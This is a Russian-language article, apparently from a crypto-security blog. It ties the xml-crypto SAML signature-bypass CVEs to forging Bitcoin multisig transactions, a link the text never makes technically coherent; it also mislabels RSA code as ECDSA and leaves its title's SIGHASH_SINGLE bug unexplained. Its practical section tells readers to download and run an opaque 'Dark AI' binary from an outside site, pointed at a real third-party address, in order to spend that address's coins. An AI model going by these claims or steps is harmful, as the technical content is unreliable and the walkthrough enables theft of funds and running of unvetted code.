Как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам сети Биткоин с поддельными RawTX: [Часть №1]
В этой статье мы рассмотрим криптографическую атаку подделки цифровой подписи (Digital Signature Forgery Attack), её последствия представляет собой угрозу для безопасности транзакций в сети Биткоин, поскольку цифровые подписи подтверждают право собственности и авторизацию переводов криптовалюты. Рассмотрим на примерах влияние таких атак на Биткоин на основе современных исследований и выявленных уязвимостей.
Криптографическая атака подделки подписи (Digital Signature Forgery Attack) заключается в попытке злоумышленника создать фальшивую цифровую подпись ECDSA, которая будет признана сетью Биткоин действительной. Такая атака позволяет авторизовать транзакции без знания приватного ключа владельца, что ставит под угрозу безопасность денежных средств в криптокошельке держателя монет BTC.
В криптографии цифровая подпись обеспечивает подтверждение подлинности сообщения или транзакции. Подделка подписи означает возможность создания пары «RawTX», которая будет принята системой как валидная, хотя на самом деле она не была создана владельцем приватного ключа. Это открывает путь для мошенничества, кражи средств и нарушения целостности блокчейна. Криптографическая атака подделки цифровой подписи (Digital Signature Forgery Attack) как уязвимости реализованы в программных компонентах, использующих библиотеку xml-crypto для проверки подписей XML-документов на платформе Node.js.
В первую очередь это касается корпоративных интеграционных решений, облачных сервисов и систем единого входа, таких как IBM App Connect Enterprise Certified Container и другие приложения, зависящие от xml-crypto для SAML-аутентификации и авторизации. Аппаратно уязвимости не связаны с конкретными физическими устройствами, а реализуются в программных продуктах, использующих уязвимую библиотеку.
Уязвимости CVE-2025-29774 и CVE-2025-29775, известные как криптографическая атака Digital Signature Forgery Attack, реализованы в программной библиотеке xml-crypto — это библиотека для цифровой подписи и шифрования XML-документов на платформе Node.js
Security Bulletin: IBM App Connect Enterprise Certified Container operands are vulnerable to bypass signature validation in XML data [CVE-2025-29774] [CVE-2025-29775]
-
IBM App Connect Enterprise Certified Container — программное обеспечение для интеграции и обработки данных, использующее xml-crypto для проверки подписей XML-документов. Уязвимости позволяют обходить проверку цифровой подписи, что приводит к возможности подделки и модификации подписанных сообщений, включая SAML-ответы для аутентификации и авторизации.
-
Системы и приложения, использующие Node.js с библиотекой xml-crypto для проверки подписанных XML-сообщений, особенно в контексте SAML-аутентификации (например, корпоративные порталы, системы единого входа, облачные сервисы). Уязвимость позволяет злоумышленнику модифицировать валидные подписанные XML-сообщения так, что они проходят проверку подписи, что ведет к обходу механизмов аутентификации и авторизации, эскалации привилегий и подделке учетных данных.
Disclosure for CVE-2025-29774 and CVE-2025-29775 (SAMLStorm).
-
Уязвимости связаны с неправильной проверкой криптографической подписи в xml-crypto, в частности с обработкой узла DigestValue, куда злоумышленник может вставлять XML-комментарии, не нарушая при этом проверку подписи.
-
Это позволяет изменять критические атрибуты идентификации и контроля доступа в подписанных XML-документах, что приводит к возможности обхода безопасности без необходимости иметь учетные данные или права доступа.
Таким образом, этот код реализует криптографические алгоритмы подписи и проверки подписи для различных схем (RSA с разными SHA-хешами и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.
Критическая уязвимость в коде signature-algorithms.ts
Код signature-algorithms.ts служит для безопасного создания и проверки цифровых подписей, обеспечивая аутентичность и целостность данных. ECDSA подписи обеспечивают подтверждение авторства с помощью приватного ключа, а HMAC — проверку целостности и аутентичности с использованием секретного ключа. Используемые алгоритмы соответствуют стандартам XML Digital Signature (URI алгоритмов указывают на спецификации W3C).
Таким образом, код signature-algorithms.ts реализует криптографические алгоритмы подписи и проверки подписи для различных схем (ECDSA, RSA с разными SHA-хешами и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.
Основная функциональность
-
Каждый класс реализует интерфейс SignatureAlgorithm и предоставляет методы для:
-
Создания подписи (getSignature): принимает данные для подписи и приватный ключ, возвращает цифровую подпись в формате base64.
-
Проверки подписи (verifySignature): принимает исходные данные, публичный ключ и подпись, возвращает булево значение — корректна ли подпись.
-
Получения имени алгоритма (getAlgorithmName): возвращает URI, идентифицирующий используемый алгоритм подписи.
-
Поддерживаемые алгоритмы
-
RsaSha1 — подпись с использованием RSA и хеш-функции SHA-1.
-
RsaSha256 — подпись с использованием RSA и SHA-256.
-
RsaSha512 — подпись с использованием RSA и SHA-512.
-
HmacSha1 — подпись с использованием HMAC на базе SHA-1.
Технические детали
-
Для RSA-подписей используется класс crypto.createSign и crypto.createVerify с соответствующими алгоритмами («RSA-SHA1», «RSA-SHA256», «RSA-SHA512»).
-
Для HMAC-подписей используется crypto.createHmac с алгоритмом «SHA1».
-
Подписи кодируются в base64 для удобства передачи и хранения.
-
Методы обернуты в функцию createOptionalCallbackFunction, что, вероятно, позволяет использовать их как с колбэками, так и с промисами (подробности не в коде).
Использование алгоритма RSA-SHA1 в криптографических подписях содержит уязвимость, связанную с коллизиями хешей SHA-1. Это позволяет злоумышленнику создавать два разных сообщения с одинаковой подписью, если он контролирует часть подписываемых данных.
Конкретно проблема находится в классе RsaSha1:
const signer = crypto.createSign(«RSA-SHA1»); // Уязвимая строка
signature-algorithms.ts#L7
Также вторая уязвимость находится в классе RsaSha1:
const verifier = crypto.createVerify(«RSA-SHA1»); // Уязвимая строка
signature-algorithms.ts#L17
Почему данная критическая атака на коллизии позволяют создавать разные данные с одинаковым хешем?
-
Коллизии SHA-1: Алгоритм SHA-1 больше не считается безопасным.
-
Контекст RSA: В сочетании с RSA это может привести к подделке подписей для непроверенных данных (например, сертификатов или документов).
-
Рекомендации: NIST и сообщество безопасности рекомендуют использовать SHA-256/SHA-512 вместо SHA-1.
Дополнительные замечания:
-
Класс HmacSha1 (HMAC-SHA1) менее уязвим, но тоже устарел. HMAC более устойчив к коллизиям, чем «голый» SHA-1, но переход на SHA-256 предпочтителен.
-
В коде есть современные реализации (RsaSha256/RsaSha512), которые следует использовать вместо RsaSha1.
CVE-2025-29774 и CVE-2025-29775 — это критические уязвимости в библиотеке xml-crypto для Node.js, связанные с некорректной проверкой цифровых подписей в XML-документах. Обе уязвимости позволяют злоумышленнику модифицировать подписанные XML-сообщения так, чтобы изменения оставались незамеченными при проверке подписи.
Механизм Digital Signature Forgery Attack
1. Уязвимости в алгоритмах RSA-SHA1
В предоставленном коде классы RsaSha1 используют устаревший алгоритм RSA-SHA1 для подписи и верификации:
const signer = crypto.createSign(«RSA-SHA1»); // Уязвимая строка №7
const verifier = crypto.createVerify(«RSA-SHA1»); // Уязвимая строка №17
SHA1 считается криптографически ненадежным, основная проблема заключается в логике обработки XML-структур библиотекой:
-
При создании подписи XML-документ проходит этап каноникализации (приведение к стандартной форме, например, удаление пробелов и комментариев).
-
При верификации подписи библиотека не учитывает различия между каноникализованными и неканоникализованными версиями документа . Это позволяет злоумышленнику модифицировать документ (например, добавить комментарии или изменить структуру), не нарушая подпись.
2. Пример эксплуатации
-
Модификация SignedInfo:
-
Атакующий добавляет в XML-документ дополнительные узлы <SignedInfo>, что приводит к неверному вычислению хеша при верификации.
xml<Signature> <SignedInfo>…</SignedInfo> <!— Оригинальный узел —> <SignedInfo>…</SignedInfo> <!— Добавленный злоумышленником —> </Signature>
-
-
Использование слабого алгоритма:
-
Алгоритм SHA1 уязвим к коллизиям, что упрощает создание поддельных подписей для модифицированных документов .
-
3. Последствия
-
Обход аутентификации: Изменение атрибутов в SAML-токенах или других XML-документах, связанных с доступом .
-
Эскалация привилегий: Подмена идентификатора пользователя на администратора в системе авторизации .
-
Массовые атаки: Уязвимость может эксплуатироваться удаленно без взаимодействия с пользователем (CVSS 9.3).
Технические детали уязвимостей:
CVE-2025-29774
-
Проблема: Недостаточная проверка структуры XML-документа при верификации подписи.
-
Эксплуатация: Добавление лишних узлов или атрибутов в подписанную часть документа.
CVE-2025-29775
-
Проблема: Некорректное использование контекста каноникализации при вычислении хеша.
-
Эксплуатация: Модификация документа в неканоникализованной форме после подписания.
Рекомендации по устранению
-
Обновление библиотеки:
-
Для версий 2.x → 2.1.6, 3.x → 3.2.1, 6.x → 6.0.1.
-
-
Замена алгоритмов: typescript// Использование SHA-256 вместо SHA-1 const signer = crypto.createSign(«RSA-SHA256»);
-
Валидация структуры XML:
-
Проверка наличия ровно одного узла <SignedInfo> в подписи.
-
Устранение этих уязвимостей критически важно для систем, использующих XML-подписи в аутентификации (например, SAML, SOAP).
Библиотека xml-crypto, широко используется для проверки цифровых подписей в XML-сообщениях, включая такие протоколы как SAML, SOAP и другие. Из этого следует, что уязвимость потенциально затрагивает:
-
Программное обеспечение и сервисы, использующие xml-crypto для XML-подписей, в том числе корпоративные интеграционные платформы и middleware (например, IBM App Connect Enterprise, где зафиксированы эти уязвимости).
-
Устройства и системы, которые применяют XML-подписи для аутентификации и авторизации, включая серверы и шлюзы, поддерживающие SAML.
-
Уязвимости CVE-2025-29774 и CVE-2025-29775 в первую очередь касаются программных компонентов и платформ, использующих библиотеку xml-crypto для обработки XML-подписей.
-
Среди известных пострадавших — IBM App Connect Enterprise и, вероятно, другие корпоративные решения на базе Node.js с использованием xml-crypto.
-
На данный момент нет публичных данных о конкретных брендах аппаратных устройств, подверженных этим атакам.
Для оценки риска на конкретных устройствах рекомендуется проверить, используют ли они уязвимые версии xml-crypto или зависят от аналогичных механизмов XML-подписей. Для работы с криптовалютными кошельками на базе Node.js IBM предлагает отдельные решения, например, IBM Secure Bitcoin Wallet — приложение, основанное на Electrum Bitcoin Client, которое использует Node.js для взаимодействия с сетью Биткоина и управления кошельком.
В этом решении приватные ключи и кошелек могут храниться и шифроваться с помощью IBM Cloud Hyper Protect Crypto Services (zHSM), обеспечивающего аппаратное безопасное хранение ключей. Генерация приватных ключей для Bitcoin-кошельков обычно реализуется в специализированных криптографических библиотеках, таких как Electrum, bitcoinjs-lib и т.п., которые могут быть интегрированы в Node.js-приложения. IBM Secure Bitcoin Wallet использует модифицированный Electrum backend на Node.js для управления ключами и транзакциями, за счет интеграции с IBM Cloud Hyper Protect Crypto Services, предоставляющим аппаратное шифрование и безопасное хранение приватных ключей.
Практическая часть
Из теории уязвимость CVE-2025-29775 известно, что злоумышленник может обработать не обновленую библиотеку xml-crypto для некорректных значении транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , где были потерянный монеты на сумму: 0.059672 BTC на июль 2025 года эта сумма составляет: 7,052 USD
791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
Рассмотрим формат: Raw transaction бинарные и hex-данные, которые содержат всю информацию о транзакции. Она нужна для передачи, проверки или создания операций на низком уровне и представляет собой основу работы всей Биткоин-сети. Обычные пользователи редко сталкиваются с Raw transaction напрямую, но для разработчиков и крипто-энтузиастов это главный инструмент для полного контроля над всеми транзакциями Биткоин-сети.
Raw Transaction
Для полного возвращение объектов UTXO в сети Биткоин воспользуемся инструментом Dark AI. UTXO является основной частью структуры данных в цепочке блокчейна и отражает количество монет BTC криптовалюты, которое может быть потрачено держателем приватного ключа (контролирующим данный Биткоин адрес). Каждый UTXO — это выход конкретной прошлой транзакции, который еще ни разу не был использован в качестве входа в последующих транзакциях.
Google Colab
https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW
1. Загрузка и установка инструмента Dark AI
Подробное описание всех команд и действий терминала
Команды:
!wget https://darkai.ru/repositories/neuralnet_tools.zip
-
wget — утилита командной строки для загрузки файлов из сети по протоколам HTTP, HTTPS и FTP.
-
Загружаем neuralnet_tools.zip архив с указаннием URL.
-
unzip — команда для извлечения ZIP-архивов в текущем каталоге.
Эта команда извлекает все файлы из neuralnet_tools.zip
!unzip neuralnet_tools.zip
Запустим команду ls для быстрого и удобного просмотра
ls
2. Запуск инструмента Dark AI
!./darkai
Выполним команду, чтобы получить информацию о так называемых непотраченных выходах транзакций (UTXO, расшифровка: Unspent Transaction Output) для указанного биткоин-адреса. Эта информация важна для оценки баланса адреса и возможности проведения новых транзакций.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
В результате были возвращены два объекта UTXO:
[{‘output’: ‘8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0’, ‘value’: 677200},
{‘output’: ‘bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0’, ‘value’: 5000000}
]
Каждый UTXO содержит:
-
output — идентификатор выхода. Формат: <txid>:<n>, где <txid> — уникальный хэш транзакции, а <n> — номер выхода в списке выходов данной транзакции.
-
value — сумма в сатоши (1 биткоин = 100 000 000 сатоши).
Расшифровка данных:
-
Первый UTXO
-
Выход: 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0
-
Сумма: 677 200 сатоши
-
-
Второй UTXO
-
Выход: bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0
-
Сумма: 5 000 000 сатоши
-
Общий баланс
Суммарный доступный баланс адреса равен сумме всех найденных UTXO:
-
677 200 + 5 000 000 = 5 677 200 сатоши
-
В пересчёте на биткоины: 5 677 200/100 000 000 = 0.05677200 BTC
Техническая интерпретация с помощью Dark AI
Воспользуемся процессом интерпретации, чтобы обработать не обновленую библиотеку xml-crypto для создание некорректных значении транзакции и отправим крупную сумму, алгоритм Dark AI сам выберет, какой UTXO использовать (или объединит оба).
-
Отправка средств: Все указанные UTXO могут быть использованы в качестве входов при формировании новой транзакции, что позволит потратить весь баланс или его часть.
-
Прозрачность: Такой отчёт подтверждает наличие реальных биткоин-средств на адресе и может быть использован для проверки подлинности и платежеспособности.
На биткоин-адресе 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe имеется два активных UTXO на общую сумму 0.05677200 BTC. Эти средства можно использовать для совершения новых транзакций; оба выхода считаются подтверждёнными и не потраченными.
Десериализация Биткоин транзакции
Чтобы получить фрагменты информации о выходе (output) Биткоин транзакции применим следующие команды, где первый выход (outs) из транзакции с уникальным идентификатором 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
Получаем структуру ответа результата десериализации:
{‘value’: 677200, ‘script’: ‘a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287’}
-
value: 677200 — сумма данного выхода выражена в сатоши (1 BTC = 100 000 000 сатоши).
-
script: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — скрипт, определяющий условия траты данного выхода.
Подробное объяснение элементов: Поле value
-
Значение: 677 200 сатоши.
-
Данную сумму можно будет потратить при создании соответствующей транзакции, если будут выполнены условия скрипта.
-
Эквивалент: 677 200/100 000 000 = 0.00677200 BTC.
Подробное объяснение элементов: Поле script
-
Значение скрипта: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287
-
Это скрипт типа «scriptPubKey» — часть выходной структуры транзакции, задающая, кто может потратить эти средства. Важнейшее предназначение — обеспечение безопасности и контроля над распоряжением средствами.
Декодирование скрипта
-
Скрипт начинается с префикса a914…87, что соответствует формату P2SH (Pay to Script Hash):
-
a9 — OP_HASH160 (оператор хеширования)
-
14 — длина следующего значения (20 байт = 40 символов hex)
-
06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — сам hash160 Биткоин Адреса кошелька, где хранятся монеты BTC.
-
87 — OP_EQUAL (базовый оператор команды Bitcoin Script, реализуюет сравнение двух данных для проверки их идентичности)
-
-
Это означает, что средства получатель может потратить, если предоставит скрипт, хеш которого соответствует приведённому значению, и предъявит валидные подписи для этого скрипта.
Практическая значимость результата
-
Данный вывод указанной транзакции содержит 677 200 сатоши (0.00677200 BTC), которые защищены скриптом типа P2SH.
-
Для расходования средств с такого выхода понадобится знать оригинальный скрипт и предъявить корректные подписи — типичная ситуация для кошельков с мультиподписями, смарт-контрактов и других продвинутых схем безопасности.
-
Эта информация важна для анализа структуры транзакции, проверки назначения средств и понимания требований для их последующего использования.
Десериализации транзакции по идентификатору
В результате десериализации транзакции по идентификатору 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd был получен первый выход, содержащий сумму 677 200 сатоши (0.00677200 BTC), защищённый P2SH-скриптом. Для распоряжения этими средствами потребуется представить скрипт назначения и корректно подписать разблокирующую транзакцию, соответствующую условиям указанного хэша.
Десериализация второй Биткоин транзакции
Чтобы получить фрагменты информации о выходе исходных данных (output) Биткоин транзакции применим следующие команды, где первый выход (outs) из транзакции с уникальным идентификатором bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
Воспользуемся процессом интерпретации, с помощью Dark AI при помощи функции десериализации, далее мы получаем информацию о структуре первого выходного элемента (output) для второй транзакции с идентификатором
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Результат:
{‘value’: 5000000, ‘script’: ‘a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287’}
1. Подробное объяснение элементов: Поле value
-
Содержимое: 5000000
-
Это значение указывается в сатоши (satoshi) — минимальной неделимой единице биткоина; 1 BTC = 100,000,000 сатоши.
-
Назначение:
Эта сумма ассоциирована с конкретным выходом транзакции, указанным в элементах массива ‘outs’. Ее можно потратить, только если будут выполнены условия, записанные в скрипте, определённом в поле ‘script’. -
Перевод в биткоины: 5 000 000 сатоши = 0.05 BTC
2. Подробное объяснение элементов: Поле script
-
Содержимое: ‘a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287’
-
Это так называемый locking script или, иначе, scriptPubKey — скрипт, который указывает условия, при которых данный выход может быть потрачен.
Декодирование скрипта
Указанное значение соответствует стандартному типу скрипта в сети биткоин:
-
a9 — код операции OP_HASH160 (производит RIPEMD-160 от SHA-256 от следующей строки).
-
14 — длина последующего поля: 20 байт (40 шестнадцатеричных символов).
-
06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — это непосредственно 20-байтовый хэш, который идентифицирует либо адрес биткоин-кошелька, либо скрипт.
-
87 — код операции OP_EQUAL.
В совокупности такая запись означает P2SH-адрес (Pay-to-Script-Hash, «оплата по хэшу скрипта»). В этом случае средства закрепляются за некой скрипт-комбинацией, а для их изъятия нужно будет раскрыть скрипт, хэш которого здесь зафиксирован, и предъявить подписи (или иные данные), удовлетворяющие условиям этого скрипта.
Наиболее часто подобная схема используется для мультиподписей, простых и сложных смарт-контрактов, двусторонних мультиподписей, схем безопасности с условиями и другими продвинутыми сценариями.
3. Практический смысл результата, величина и назначение средств.
-
В указанной транзакции (с хэшем bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786) есть выход, в котором 0.05 BTC (5 000 000 сатоши) «заблокированы» на P2SH-адресе, соответствующем хэшу 06612b7cb2027e80ec340f9e02ffe4a9a59ba762
-
Условия расходования:
Чтобы потратить эти средства, необходимо при формировании расходующей транзакции предъявить не только стандартную подпись, как при прямом переводе, но и сам скрипт, хэш которого зашит в этом выходе, плюс данные (например, набор цифровых подписей), соответствующие условиям скрипта. -
Безопасность и гибкость:
Такой способ позволяет реализовывать более сложные логические схемы, чем прямое отправление на обычный Биткоин адрес.
4. Оформление выхода в уровень совместимости с различными сервисами и кошельками, поддерживающими P2SH.
-
Транзакция с идентификатором
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
содержит выход, в котором
0.05 BTC (5 000 000 сатоши)
закреплены на P2SH-скрипте (Pay-to-Script-Hash) с хэшем
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. -
Для траты этих средств необходимо раскрыть исходный скрипт и выполнить его условия (например, предъявить все подписи в мультиподписи).
Таким образом, результат десериализации сообщает о наличии определённой суммы биткоинов на условном (P2SH) адресе и определяет строгие правила их расходования, что играет ключевую роль для управления и учёта средств в сети Bitcoin.
P2SH (Pay-to-Script-Hash) locking script в сети Биткоин. Что означает этот скрипт?
Скрипт ‘a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287’ выбран и использован в данном выходе транзакции, потому что он представляет собой типичный P2SH (Pay-to-Script-Hash) locking script в сети Биткоин.
Рассмотрим его по частям:
-
a9 — OP_HASH160: операция хеширования, которая применяет сначала SHA-256, а затем RIPEMD-160 к последующим данным.
-
14 — длина хеша — 20 байт (в 16-ричном формате).
-
06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хеш скрипта, известный как script hash.
-
87 — OP_EQUAL: оператор, проверяющий равенство двух значений на стеке.
Таким образом, этот скрипт требует, чтобы в момент использования (тратты средств) был представлен скрипт, хеш которого совпадает с 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, и чтобы выполнялись условия этого скрипта.
Почему выбран именно такой?
-
Удобство и безопасность: P2SH позволяет сложную логику управления средствами (например, мультиподписи или условные платежи) скрыть в виде хеша, упрощая интерфейс для отправителя и получателя.
-
Стандарт индустрии: P2SH стал общепринятым стандартом, так как он упрощает настройку сложных схем защиты и совместим с большинством кошельков и сервисов.
-
Компактность: В блоке хранится только хеш сложного скрипта, а не весь скрипт — это экономит место и повышает эффективность.
-
Гибкость: Владелец средств может создавать произвольные условия расходования — например, требовать несколько подписей, временные задержки или другие правила — и хеш этих условий хранится именно здесь.
Скрипт ‘a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287’ — это P2SH locking script, который говорит, что для тратты 0.05 BTC необходимо предоставить оригинальный скрипт с хешем 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 и выполнить прописанные в нем условия. Это обеспечивает баланс между удобством, безопасностью и функциональностью — основную причину выбора именно такого скрипта в данной транзакции. Хэш 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 в P2SH-скрипте — это результат конкретного хеширования исходного сценария (redeem script), который определяет условия траты средств с этого выхода.
Почему именно этот хэш, а не другой?
-
Хэш — цифровой отпечаток сценария, задающего правила траты.
При создании P2SH-адреса или выхода скрипт (условия расходования Bitcoin) сначала составляется в явном виде, затем применяются два алгоритма хеширования:-
SHA-256 от скрипта,
-
Затем RIPEMD-160 от результата SHA-256.
Итоговый 20-байтовый хэш и есть 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Этот хэш однозначно идентифицирует именно тот сценарий, для которого он был сгенерирован.
-
-
Уникальность и неизменность
Криптографические хеш-функции обладают свойством «лавинного эффекта», при котором даже минимальное изменение исходного скрипта даст совершенно другой хэш. Поэтому данный хэш уникален и неподдельен в контексте исходного скрипта. -
Цель использования хэша — обеспечение компактности и безопасности
Вместо хранения в каждом выходе полного сценария, который может быть сложным и занимать много места, в блоке хранится только его хэш. Это экономит место и повышает конфиденциальность — сам сценарий раскрывается только при трате средств и только тем, кто выполняет условия. -
Выбор хэша ― результат конкретного скрипта, определенного создателем адреса или кошелька
Разработчик или владелец средств создаёт скрипт с нужными условиями (например, мультиподпись, временная задержка, другие логические условия). Назначенный скрипт хешируется и именно этот хэш привязывается к выходу транзакции. Таким образом, нет произвольного выбора хэша — он определяется содержимым исходного скрипта и криптографическим алгоритмом.
-
Данный хэш строго связан с конкретным скриптом, который владелец адреса заложил для защиты своих средств.
-
Он был получен с помощью криптографических хеш-функций (SHA-256 + RIPEMD-160) от исходного redeem script, поэтому случайно или произвольно выбрать другой хэш нельзя.
-
Этот хэш — отражение уникальной комбинации условий траты, и именно поэтому именно он и оказался в скрипте выхода транзакции a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287
Таким образом, выбор именно этого хэша продиктован необходимостью точного и безопасного связывания выхода с конкретными условиями трат, которые контролируют доступ к средствам в блокчейне. Все это обеспечивается свойствами криптографических хеш-функций, их уникальностью, и невозможностью обратного восстановления исходных данных.
Механизма P2SH: значение, принцип работы и безопасность в сети Bitcoin
Разработчики Биткоин прописали в код механизм P2SH (Pay-to-Script-Hash) как ключевую инновацию, обеспечивающих безопасность и расширяющих возможности сети блокчейн. Рассмотрим структуру и принцип работы данного скрипта, его отличие от классических транзакций, а также причины выбора именно такого подхода для хранения и защиты цифровых активов.
Традиционно в Bitcoin транзакции работали по схеме Pay-to-Pubkey-Hash (P2PKH) — где «блокировка» средств происходит с помощью хеша публичного ключа адресата. Для расходования этих средств пользователь должен предоставить свою цифровую подпись и публичный ключ, которые проверяются сетью.
Однако за рамками P2PKH интерфейс был ограничен, так как в Bitcoin Script можно создавать гораздо более сложные условия траты — от мультиподписей до временных замков и других смарт-контрактных соглашений. Проблема состояла в том, что длинные и сложные скрипты неизбежно увеличивали размер транзакций и снижали их удобство.
Именно для упрощения взаимодействия с такими сложными сценариями в 2012 году была введена концепция P2SH, стандартизированная в BIP 16 Гэвином Андресеном. Суть P2SH сводится к замене в scriptPubKey полного скрипта условий траты на его криптографический хэш — так называемый script hash.
Опубликованы три части [№1] , [№2] , [№3] исследования
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.
Crypto Tools
Исходный код
Google Colab
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/qbu1m_C1wyA
Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db
Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack